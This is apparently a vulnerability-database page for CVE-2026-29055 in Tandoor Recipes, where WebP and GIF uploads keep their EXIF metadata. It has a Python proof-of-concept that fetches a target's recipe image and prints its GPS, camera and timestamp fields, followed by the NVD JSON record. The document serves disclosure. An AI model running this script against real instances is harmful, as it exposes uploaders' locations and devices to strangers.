CVE-2026-29055

import requests from PIL import Image, ExifTags from PIL.ExifTags import TAGS # Proof of Concept: Check for EXIF data in uploaded images on Tandoor Recipes # This script demonstrates how an attacker can extract sensitive metadata. def check_exif(image_url): try: # Download the image from the target server response = requests.get(image_url, stream=True) response.raise_for_status() image = Image.open(response.raw) # Check for EXIF data exif_data = {} if hasattr(image, '_getexif'): exif_info = image._getexif() if exif_info: for tag, value in exif_info.items(): decoded = TAGS.get(tag, tag) exif_data[decoded] = value # Print sensitive information if exif_data: print(f"[+] Found EXIF data in {image_url}:") for key, value in exif_data.items(): # Highlight commonly sensitive fields if any(s in str(key) for s in ['GPS', 'Make', 'Model', 'DateTime', 'Software']): print(f" - {key}: {value}") else: print("[-] No EXIF data found or image is clean.") except Exception as e: print(f"[-] Error processing image: {e}") # Example usage: # Replace with a valid URL to a recipe image on a vulnerable instance # target_image_url = "http://target-site.com/media/recipe_images/vulnerable_image.webp" # check_exif(target_image_url)

{"cve": {"id": "CVE-2026-29055", "sourceIdentifier": "[email protected]", "published": "2026-03-26T19:16:58.810", "lastModified": "2026-03-30T19:27:34.740", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. In versions prior to 2.6.0, the image processing pipeline in Tandoor Recipes explicitly skips EXIF metadata stripping, image rescaling, and size validation for WebP and GIF image formats. A developer TODO comment in the source code acknowledges this as a known issue. As a result, when users upload recipe photos in WebP format (the default format for modern smartphone cameras), their sensitive EXIF data — including GPS coordinates, camera model, timestamps, and software information — is stored and served to all users who can view the recipe. Version 2.6.0 fixes the issue."}, {"lang": "es", "value": "Tandoor Recipes es una aplicación para gestionar recetas, planificar comidas y crear listas de la compra. En versiones anteriores a la 2.6.0, el proceso de procesamiento de imágenes en Tandoor Recipes omite explícitamente la eliminación de metadatos EXIF, el reescalado de imágenes y la validación de tamaño para los formatos de imagen WebP y GIF. Un comentario TODO de desarrollador en el código fuente reconoce esto como un problema conocido. Como resultado, cuando los usuarios suben fotos de recetas en formato WebP (el formato predeterminado para las cámaras de los smartphones modernos), sus datos EXIF sensibles — incluyendo coordenadas GPS, modelo de cámara, marcas de tiempo e información de software — se almacenan y se sirven a todos los usuarios que pueden ver la receta. La versión 2.6.0 soluciona el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1230"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:tandoor:recipes:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.6.0", "matchCriteriaId": "6EFEDF7D-1D00-4901-A064-ECC168038F6C"}]}]}], "references": [{"url": "https://github.com/TandoorRecipes/recipes/releases/tag/2.6.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/TandoorRecipes/recipes/security/advisories/GHSA-9g2j-xccg-9mhq", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}